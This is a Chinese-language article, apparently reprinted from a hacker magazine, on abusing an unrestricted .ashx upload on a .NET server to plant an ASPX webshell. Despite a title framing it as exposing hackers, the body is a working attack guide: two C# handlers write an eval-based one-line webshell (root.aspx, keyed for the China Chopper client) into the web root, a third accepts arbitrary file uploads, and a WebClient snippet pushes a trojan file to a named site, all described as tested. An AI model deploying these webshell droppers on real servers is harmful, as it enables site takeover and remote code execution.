揭穿黑客关于Ashx脚本写aspx木马的方法汇总

安全 黑客攻防 应用安全
.Net环境,上传处未限制Ashx和Asmx,后者上传无法运行,提示Asmx脚本只能在本地运行,于是打算先传个Ashx脚本然后在当前目录下生成Aspx文件(目标不能执行Asp文件)。

.Net环境,上传处未限制Ashx和Asmx,后者上传无法运行,提示Asmx脚本只能在本地运行,于是打算先传个Ashx脚本然后在当前目录下生成Aspx文件(目标不能执行Asp文件),网上找到如下Ashx代码:

  1. <%@ WebHandler Language="C#" Class="Handler" %>   
  2.    
  3. using System;   
  4. using System.Web;   
  5. using System.IO;   
  6. public class Handler : IHttpHandler {   
  7.       
  8.     public void ProcessRequest (HttpContext context) {   
  9.         context.Response.ContentType = "text/plain";   
  10.            
  11.         StreamWriter file1File.CreateText(context.Server.MapPath("root.aspx"));   
  12.         file1.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>");   
  13.         file1.Flush();   
  14.         file1.Close();   
  15.            
  16.     }   
  17.    
  18.     public bool IsReusable {   
  19.         get {   
  20.             return false;   
  21.         }   
  22.     }   
  23.    
  24. }  

我将脚本中的Asp一句话改成菜刀的Aspx一句话~不过执行的时候爆错,说未知指令@Page。遂采用一下2种方式解决:

1,用String连接字符串

  1. <%@ WebHandler Language="C#" Class="Handler" %>   
  2.    
  3. using System;   
  4. using System.Web;   
  5. using System.IO;   
  6. public class Handler : IHttpHandler {   
  7.        
  8.     public void ProcessRequest (HttpContext context) {   
  9.         context.Response.ContentType = "text/plain";   
  10.         string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>";   
  11.         StreamWriter file1File.CreateText(context.Server.MapPath("root.aspx"));   
  12.         file1.Write(show);   
  13.         file1.Flush();   
  14.         file1.Close();   
  15.            
  16.     }   
  17.    
  18.     public bool IsReusable {   
  19.         get {   
  20.             return false;   
  21.         }   
  22.     }   
  23.    
  24. }  

2.比较笨的方法,看代码吧

  1. <%@ WebHandler Language="C#" Class="Uploader" %>   
  2. using System;   
  3. using System.IO;   
  4. using System.Web;      
  5.    
  6. public class Uploader : IHttpHandler   
  7. {   
  8.     public void ProcessRequest(HttpContext hc)   
  9.     {   
  10.         foreach (string fileKey in hc.Request.Files)   
  11.         {   
  12.             HttpPostedFile file = hc.Request.Files[fileKey];   
  13.             file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));   
  14.         }   
  15.     }      
  16.    
  17.     public bool IsReusable   
  18.     {   
  19.         get { return true; }   
  20.     }   
  21. }  

然后用VS建立WinForm程序~主函数里写:

System.Net.WebClient myWebClient = new System.Net.WebClient();

myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:\\ma.aspx");

执行就可以了~以上方法均测试成功~

责任编辑:蓝雨泪 来源: 黑客x档案
相关推荐

2011-03-14 10:19:43

2010-09-07 09:33:20

2009-06-26 16:05:51

云计算

2009-06-28 21:34:22

云计算IT虚拟机

2011-03-14 10:10:01

2010-09-08 16:00:31

2018-03-06 14:00:44

超融合基础架构

2019-11-07 23:48:12

shell脚本getopts

2009-10-30 10:51:50

2010-08-24 11:54:46

2010-09-03 11:35:50

2022-04-13 12:09:07

黑客木马网络攻击

2010-09-08 15:50:15

2018-10-14 15:37:27

机器学习数据算法

2023-08-15 14:09:38

DevOps开发人员运维

2009-06-01 09:34:22

2011-09-05 14:25:12

2009-11-09 20:28:28

福布斯富豪榜黑客传播木马

2010-07-22 15:45:45

2009-04-10 11:28:02

点赞
收藏

51CTO技术栈公众号